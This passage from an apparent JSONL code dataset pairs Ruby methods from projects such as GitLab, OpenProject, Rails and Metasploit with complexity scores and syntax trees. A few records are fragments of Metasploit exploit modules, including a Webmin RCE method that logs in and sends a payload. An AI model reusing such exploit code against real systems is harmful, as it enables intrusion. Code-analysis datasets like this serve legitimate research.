end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"filename\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"id\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"send\",\"children\":[null,\"parse_args\",{\"type\":\"lvar\",\"children\":[\"filename\"]},{\"type\":\"lvar\",\"children\":[\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"build_finder\",{\"type\":\"lvar\",\"children\":[\"params\"]}]},\"execute\"]},\"first\"]}]}]}","id":"4f3a096d-63f6-414a-a38c-cd9ef3f813c9"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/bim/lib/open_project/bim/bcf_xml/viewpoint_writer.rb","start_line":66,"raw_source":"def selected_components(xml)\n      return unless (selected = dig_json(\"components\", \"selection\"))\n\n      xml.Selection do\n        selected.each do |comp_hash|\n          xml.Component camelized(comp_hash)\n        end\n      end\n    end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"selected_components\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"xml\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"selected\",{\"type\":\"send\",\"children\":[null,\"dig_json\",{\"type\":\"str\",\"children\":[\"components\"]},{\"type\":\"str\",\"children\":[\"selection\"]}]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xml\"]},\"Selection\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"selected\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"comp_hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xml\"]},\"Component\",{\"type\":\"send\",\"children\":[null,\"camelized\",{\"type\":\"lvar\",\"children\":[\"comp_hash\"]}]}]}]}]}]}]}","id":"a3d3e2a8-f366-4d2f-a963-6a3b9bee2fc7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/extracts_ref/ref_extractor.rb","start_line":115,"raw_source":"def ref_type\n      self.class.ref_type(params[:ref_type])\n    end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"ref_type\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"ref_type\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ref_type\"]}]}]}]}","id":"528ae49e-e130-4408-b6b4-2b51290c7af1"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/trivial_accessors.rb","start_line":169,"raw_source":"def allowed_method_names\n          allowed_methods.map(&:to_sym) + [:initialize]\n        end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"allowed_method_names\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allowed_methods\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_sym\"]}]}]},\"+\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"initialize\"]}]}]}]}","id":"18acacc0-f1a7-4c30-bd51-6005b44e2e02"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/http/url.rb","start_line":413,"raw_source":"def server_port\n        get_header(\"SERVER_PORT\").to_i\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"server_port\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_header\",{\"type\":\"str\",\"children\":[\"SERVER_PORT\"]}]},\"to_i\"]}]}","id":"5070dabf-3dee-4ee6-bf44-49917cefb432"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/misc/tplink_archer_a7_c7_lan_rce.rb","start_line":303,"raw_source":"def update_len_field(packet, payload_length)\n    new_packet = packet[0..3]\n    new_packet += [payload_length].pack('S>')\n    new_packet += packet[6..]\n    new_packet\n  end","complexity_score":8.75,"ast_json":"{\"type\":\"def\",\"children\":[\"update_len_field\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"packet\"]},{\"type\":\"arg\",\"children\":[\"payload_length\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"new_packet\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"packet\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[3]}]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"new_packet\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_length\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"S>\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"new_packet\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"packet\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[6]},null]}]}]},{\"type\":\"lvar\",\"children\":[\"new_packet\"]}]}]}","id":"85f87a7f-9c22-41bb-a3e6-477c777b86a8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/access/default_branch_protection.rb","start_line":71,"raw_source":"def fully_protected?\n        return false if settings[:allow_force_push] || developer_can_initial_push?\n\n        allowed_to_merge_values = settings[:allowed_to_merge]\n        allowed_to_push_values = settings[:allowed_to_push]\n\n        all_push_levels_at_maintainer = allowed_to_push_values.all? do |entry|\n          entry[:access_level] == Gitlab::Access::MAINTAINER\n        end\n\n        all_merge_levels_at_maintainer = allowed_to_merge_values.all? do |entry|\n          entry[:access_level] == Gitlab::Access::MAINTAINER\n        end\n\n        all_push_levels_at_maintainer && all_merge_levels_at_maintainer\n      end","complexity_score":23.7,"ast_json":"{\"type\":\"def\",\"children\":[\"fully_protected?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"settings\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"allow_force_push\"]}]},{\"type\":\"send\",\"children\":[null,\"developer_can_initial_push?\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"allowed_to_merge_values\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"settings\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"allowed_to_merge\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"allowed_to_push_values\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"settings\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"allowed_to_push\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"all_push_levels_at_maintainer\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"allowed_to_push_values\"]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"entry\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"access_level\"]}]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Access\"]},\"MAINTAINER\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"all_merge_levels_at_maintainer\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"allowed_to_merge_values\"]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"entry\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"access_level\"]}]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Access\"]},\"MAINTAINER\"]}]}]}]},{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"all_push_levels_at_maintainer\"]},{\"type\":\"lvar\",\"children\":[\"all_merge_levels_at_maintainer\"]}]}]}]}","id":"d472a003-4ebd-41b6-b4b0-b8722f73c54d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/resolvers/users/groups_resolver.rb","start_line":32,"raw_source":"def resolve_groups(**args)\n        args = { **args, organization: context[:current_organization] }\n        ::Groups::UserGroupsFinder.new(current_user, object, args).execute\n      end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve_groups\",{\"type\":\"args\",\"children\":[{\"type\":\"kwrestarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"args\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"organization\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"current_organization\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Groups\"]},\"UserGroupsFinder\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"object\"]},{\"type\":\"lvar\",\"children\":[\"args\"]}]},\"execute\"]}]}]}","id":"19c9b907-6b8d-4e3d-ad41-6b0957d49d28"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/user_api_key.rb","start_line":39,"raw_source":"def ensure_allowed!(env)\n    raise Discourse::InvalidAccess.new if !allow?(env)\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_allowed!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow?\",{\"type\":\"lvar\",\"children\":[\"env\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"InvalidAccess\"]},\"new\"]}]},null]}]}","id":"ba375c34-de85-419a-9799-63f38cd77572"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/catalog/resources/validate_service.rb","start_line":37,"raw_source":"def verify_presence_project_description\n          return if project.description.present?\n\n          errors << 'Project must have a description'\n        end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"verify_presence_project_description\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"description\"]},\"present?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Project must have a description\"]}]}]}]}","id":"0c209fa6-30a6-40bd-a7f3-48efb9b4e934"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/billboard.rb","start_line":425,"raw_source":"def update_event_counts_when_taking_down\n    Billboards::DataUpdateWorker.perform_async(id)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"update_event_counts_when_taking_down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Billboards\"]},\"DataUpdateWorker\"]},\"perform_async\",{\"type\":\"send\",\"children\":[null,\"id\"]}]}]}","id":"1c872c01-e6ab-4e7b-8a8e-21e0802815aa"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/parser/mbsa_document.rb","start_line":192,"raw_source":"def collect_check_data\n      return unless in_tag(\"SecScan\")\n      @state[:check_state] = {}\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"collect_check_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_tag\",{\"type\":\"str\",\"children\":[\"SecScan\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"check_state\"]},{\"type\":\"hash\",\"children\":[]}]}]}]}","id":"7a978937-ebfa-4ad0-9da6-8b162ad03d65"}
{"repo_name":"openproject","file_path":"./repos/openproject/lookbook/previews/op_primer/flash_component_preview.rb","start_line":46,"raw_source":"def danger\n      render(OpPrimer::FlashComponent.new(scheme: :danger, icon: :stop)) do |_component|\n        \"Stop right there.\"\n      end\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"danger\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpPrimer\"]},\"FlashComponent\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scheme\"]},{\"type\":\"sym\",\"children\":[\"danger\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"icon\"]},{\"type\":\"sym\",\"children\":[\"stop\"]}]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_component\"]}]},{\"type\":\"str\",\"children\":[\"Stop right there.\"]}]}]}","id":"2249ae74-3642-4517-bae9-2443fb7cbf6f"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/routing_test.rb","start_line":4717,"raw_source":"def test_string_port_constraints\n    get \"http://www.example.com/string\"\n    assert_response :not_found\n\n    get \"http://www.example.com:8080/string\"\n    assert_response :success\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_string_port_constraints\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"http://www.example.com/string\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_response\",{\"type\":\"sym\",\"children\":[\"not_found\"]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"http://www.example.com:8080/string\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_response\",{\"type\":\"sym\",\"children\":[\"success\"]}]}]}]}","id":"bbf0d539-18a4-495d-8664-19b82c031e79"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/work_packages/relations.rb","start_line":244,"raw_source":"def edit_relation_description(relatable, description)\n        open_relation_dialog(relatable)\n\n        within \"##{WorkPackageRelationsTab::WorkPackageRelationDialogComponent::DIALOG_ID}\" do\n          expect(page).to have_field(\"Work package\", readonly: true)\n          expect(page).to have_field(\"Description\")\n\n          fill_in \"Description\", with: description\n\n          click_link_or_button \"Save\"\n\n          wait_for_reload if using_cuprite?\n        end\n      end","complexity_score":20.3,"ast_json":"{\"type\":\"def\",\"children\":[\"edit_relation_description\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"relatable\"]},{\"type\":\"arg\",\"children\":[\"description\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"open_relation_dialog\",{\"type\":\"lvar\",\"children\":[\"relatable\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"#\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackageRelationsTab\"]},\"WorkPackageRelationDialogComponent\"]},\"DIALOG_ID\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_field\",{\"type\":\"str\",\"children\":[\"Work package\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"readonly\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_field\",{\"type\":\"str\",\"children\":[\"Description\"]}]}]},{\"type\":\"send\",\"children\":[null,\"fill_in\",{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"lvar\",\"children\":[\"description\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"click_link_or_button\",{\"type\":\"str\",\"children\":[\"Save\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"using_cuprite?\"]},{\"type\":\"send\",\"children\":[null,\"wait_for_reload\"]},null]}]}]}]}]}","id":"f971d209-c9b2-4689-ba07-c1cb14841ddb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/merge_requests/update_service.rb","start_line":78,"raw_source":"def after_update(merge_request, old_associations)\n      super\n\n      merge_request.cache_merge_request_closes_issues!(current_user) unless merge_request.auto_merge_enabled?\n      @trigger_work_item_updated = true\n    end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"after_update\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"merge_request\"]},{\"type\":\"arg\",\"children\":[\"old_associations\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request\"]},\"auto_merge_enabled?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request\"]},\"cache_merge_request_closes_issues!\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@trigger_work_item_updated\",{\"type\":\"true\",\"children\":[]}]}]}]}","id":"a6227857-df15-4b2d-8ee0-b580194246a3"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/work_packages/reminder/modal_body_component.rb","start_line":126,"raw_source":"def attribute_blank?(attribute)\n        @errors.present? &&\n          @errors.any? { |error| error.attribute == attribute && error.type == :blank }\n      end","complexity_score":11.1,"ast_json":"{\"type\":\"def\",\"children\":[\"attribute_blank?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attribute\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@errors\"]},\"present?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@errors\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"error\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"attribute\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"type\"]},\"==\",{\"type\":\"sym\",\"children\":[\"blank\"]}]}]}]}]}]}","id":"df16be74-b54a-4f30-ae43-a138cf136afb"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/fileformat/office_word_macro.rb","start_line":187,"raw_source":"def get_vbadata_xml\n    File.read(File.join(macro_resource_directory, 'vbaData.xml'))\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"get_vbadata_xml\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[null,\"macro_resource_directory\"]},{\"type\":\"str\",\"children\":[\"vbaData.xml\"]}]}]}]}","id":"0189667f-643d-4784-a786-7657fd885466"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/table_helpers/column_type/hierarchy.rb","start_line":55,"raw_source":"def metadata_for_raw_value(raw_value)\n        super.merge(hierarchy_indent: hierarchy_indent(raw_value))\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"metadata_for_raw_value\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"raw_value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hierarchy_indent\"]},{\"type\":\"send\",\"children\":[null,\"hierarchy_indent\",{\"type\":\"lvar\",\"children\":[\"raw_value\"]}]}]}]}]}]}","id":"28408b3d-a5f5-4fcd-86fd-15aad8febbac"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib_static/plugins/acts_as_attachable/lib/acts_as_attachable.rb","start_line":126,"raw_source":"def view_permission_default\n          :\"view_#{name.pluralize.underscore}\"\n        end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"view_permission_default\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dsym\",\"children\":[{\"type\":\"str\",\"children\":[\"view_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]},\"pluralize\"]},\"underscore\"]}]}]}]}","id":"e25beb0c-df86-48ce-bd8d-0ff1d09e7aad"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/resolvers/notes/synthetic_note_resolver.rb","start_line":20,"raw_source":"def resolve(noteable_id:, sha:)\n        noteable = authorized_find!(id: noteable_id)\n\n        synthetic_notes = ResourceEvents::MergeIntoNotesService.new(\n          noteable, current_user, paginated_notes: nil\n        ).execute\n\n        synthetic_notes.find { |note| note.discussion_id == sha }\n      end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"noteable_id\"]},{\"type\":\"kwarg\",\"children\":[\"sha\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"noteable\",{\"type\":\"send\",\"children\":[null,\"authorized_find!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"noteable_id\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"synthetic_notes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ResourceEvents\"]},\"MergeIntoNotesService\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"noteable\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"paginated_notes\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},\"execute\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"synthetic_notes\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"note\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"note\"]},\"discussion_id\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"sha\"]}]}]}]}]}","id":"5f50bb0d-4aa1-440f-9cd0-b0b3ab27c27e"}
{"repo_name":"openproject","file_path":"./repos/openproject/lookbook/previews/open_project/common/loading_indicators_preview.rb","start_line":41,"raw_source":"def spinner\n        render(Primer::Beta::Spinner.new)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"spinner\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Primer\"]},\"Beta\"]},\"Spinner\"]},\"new\"]}]}]}","id":"cdcf92ff-d744-44a2-ba07-21c33f2dc105"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/user.rb","start_line":2160,"raw_source":"def ci_available_runners\n    Ci::Runner.from_union([ci_available_project_runners, ci_available_group_runners])\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"ci_available_runners\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"Runner\"]},\"from_union\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ci_available_project_runners\"]},{\"type\":\"send\",\"children\":[null,\"ci_available_group_runners\"]}]}]}]}","id":"1c92e3f1-ffb2-4150-a718-89107ec5ade1"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/example.rb","start_line":659,"raw_source":"def set_exception(exception)\n        reporter.notify_non_example_exception(exception, \"An error occurred in #{description}.\")\n        RSpec.world.wants_to_quit = true\n      end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"set_exception\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exception\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reporter\"]},\"notify_non_example_exception\",{\"type\":\"lvar\",\"children\":[\"exception\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"An error occurred in \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"description\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RSpec\"]},\"world\"]},\"wants_to_quit=\",{\"type\":\"true\",\"children\":[]}]}]}]}","id":"50d713f7-c4fa-41d9-8292-01da93c6b362"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/webmin_package_updates_rce.rb","start_line":165,"raw_source":"def exploit\n    print_status('Attempting login')\n    do_login\n\n    print_status('Sending payload')\n    case target['Type']\n    when :unix_memory\n      execute_command(payload.encoded)\n    when :linux_dropper\n      execute_cmdstager\n    end\n  rescue ::Rex::ConnectionError\n    fail_with(Failure::Unreachable, \"#{peer} - Could not connect to the web service\")\n  end","complexity_score":19.6,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Attempting login\"]}]},{\"type\":\"send\",\"children\":[null,\"do_login\"]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Sending 